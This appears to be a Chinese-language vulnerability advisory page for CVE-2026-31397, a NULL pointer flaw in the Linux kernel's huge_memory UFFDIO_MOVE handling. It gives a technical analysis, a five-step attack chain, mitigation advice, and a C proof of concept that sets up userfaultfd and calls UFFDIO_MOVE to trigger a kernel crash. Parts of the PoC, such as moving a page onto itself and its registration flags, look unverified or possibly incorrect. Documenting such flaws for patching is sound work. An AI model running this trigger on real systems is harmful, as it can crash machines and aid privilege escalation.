IPBUF安全漏洞报告
English
CVE-2026-31397 CVSS 7.8 高危

Linux内核huge_memory模块空指针引用漏洞

披露日期: 2026-04-03
来源: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

漏洞信息

漏洞编号
CVE-2026-31397
漏洞类型
内存损坏
CVSS评分
7.8 高危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Linux Kernel

相关标签

Linux Kernel内存损坏空指针引用本地权限提升huge_memoryuserfaultfd

漏洞概述

Linux内核mm/huge_memory模块在处理UFFDIO_MOVE操作时存在漏洞。当处理huge zero page路径时,src_folio被显式设为NULL,move_pages_huge_pmd函数未做有效检查直接使用,导致空指针解引用或伪造物理页帧号。此外,重建目标PMD时丢弃了pmd_special()状态,导致内核将特殊映射误判为普通页面,破坏引用计数。本地低权限攻击者可利用此造成系统崩溃或权限提升。

技术细节

该漏洞位于Linux内核的mm/huge_memory.c文件中,具体涉及move_pages_huge_pmd()函数对UFFDIO_MOVE功能的处理。在处理huge zero page(大零页)时,代码将src_folio显式设置为NULL作为哨兵值。然而,在后续调用folio_mk_pmd(NULL, pgprot)时,NULL指针被传入folio_pfn()和page_to_pfn()。在启用SPARSEMEM_VMEMMAP的架构上,这会静默产生一个伪造的PFN,安装指向不存在物理内存的PMD;在其他内存模型上则直接导致NULL解引用崩溃。此外,修复前代码在huge zero page分支重建目标PMD,导致CONFIG_ARCH_HAS_PTE_SPECIAL架构上的pmd_special()状态丢失。这使得vm_normal_page_pmd()将移动后的huge zero PMD误认为普通页面,进而破坏其引用计数。攻击者需具备本地低权限,通过精心构造的userfaultfd操作触发该漏洞路径,导致内核崩溃或潜在的权限提升。

攻击链分析

STEP 1
1
攻击者在目标系统上获得本地低权限用户访问。
STEP 2
2
攻击者编写恶意程序,利用userfaultfd系统调用创建一个内存区域,并注册UFFDIO_MOVE功能。
STEP 3
3
程序分配内存并诱导内核使用huge zero page(大零页)机制,或者直接对相关内存区域执行UFFDIO_MOVE操作。
STEP 4
4
内核执行move_pages_huge_pmd()函数处理移动请求,处理huge zero page分支时使用NULL指针调用folio_mk_pmd。
STEP 5
5
触发空指针解引用导致内核崩溃,或在特定架构下写入伪造PFN导致内存破坏,可能实现权限提升。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
/* * PoC for CVE-2026-31397 (Conceptual) * This code demonstrates the setup to trigger move_pages_huge_pmd() * with a huge zero page scenario. * Compile: gcc -o poc_cve2026_31397 poc_cve2026_31397.c */ #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <sys/mman.h> #include <sys/syscall.h> #include <linux/userfaultfd.h> #include <fcntl.h> #include <errno.h> // Setup userfaultfd to monitor a memory region int setup_uffd(void *addr, size_t len) { struct uffdio_api uffdio_api; struct uffdio_register uffdio_register; long uffd; uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK); if (uffd == -1) { perror("userfaultfd"); return -1; } uffdio_api.api = UFFD_API; uffdio_api.features = UFFD_FEATURE_MOVE; if (ioctl(uffd, UFFDIO_API, &uffdio_api) == -1) { perror("ioctl(UFFDIO_API)"); return -1; } uffdio_register.range.start = (unsigned long)addr; uffdio_register.range.len = len; uffdio_register.mode = UFFDIO_REGISTER_MODE_MISSING | UFFDIO_REGISTER_MODE_MOVE; if (ioctl(uffd, UFFDIO_REGISTER, &uffdio_register) == -1) { perror("ioctl(UFFDIO_REGISTER)"); return -1; } return uffd; } int main() { void *addr; size_t len = 2 * 1024 * 1024; // 2MB to encourage THP int uffd; // Allocate memory using mmap with MAP_HUGETLB to try for huge pages // Or rely on transparent huge pages (THP) normal allocation addr = mmap(NULL, len, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS | MAP_HUGETLB, -1, 0); if (addr == MAP_FAILED) { // Fallback to normal allocation if huge page fails, THP might promote it addr = mmap(NULL, len, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); if (addr == MAP_FAILED) { perror("mmap"); exit(EXIT_FAILURE); } } printf("Memory allocated at %p\n", addr); // Register with userfaultfd uffd = setup_uffd(addr, len); if (uffd < 0) { munmap(addr, len); exit(EXIT_FAILURE); } printf("Userfaultfd registered. Triggering UFFDIO_MOVE on potential zero page...\n"); struct uffdio_move uffdio_move; uffdio_move.src = (unsigned long)addr; uffdio_move.dst = (unsigned long)addr; // Moving to itself or target to trigger logic uffdio_move.len = 4096; // Move a page uffdio_move.mode = 0; // This ioctl attempts to move the page. // If the page is a huge zero page, the kernel bug in move_pages_huge_pmd is triggered. if (ioctl(uffd, UFFDIO_MOVE, &uffdio_move) == -1) { // Expected to fail or crash kernel depending on state perror("ioctl(UFFDIO_MOVE)"); } close(uffd); munmap(addr, len); return 0; }

影响范围

Linux Kernel (包含漏洞的稳定版本,需参考Git提交e3133d0986dc等修复)

防御指南

临时缓解措施
建议立即应用官方发布的内核安全补丁。在无法立即升级内核的情况下,可以通过限制普通用户对userfaultfd功能的访问权限(例如通过seccomp配置)来降低攻击面,但这可能会影响依赖该功能的正常应用程序。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表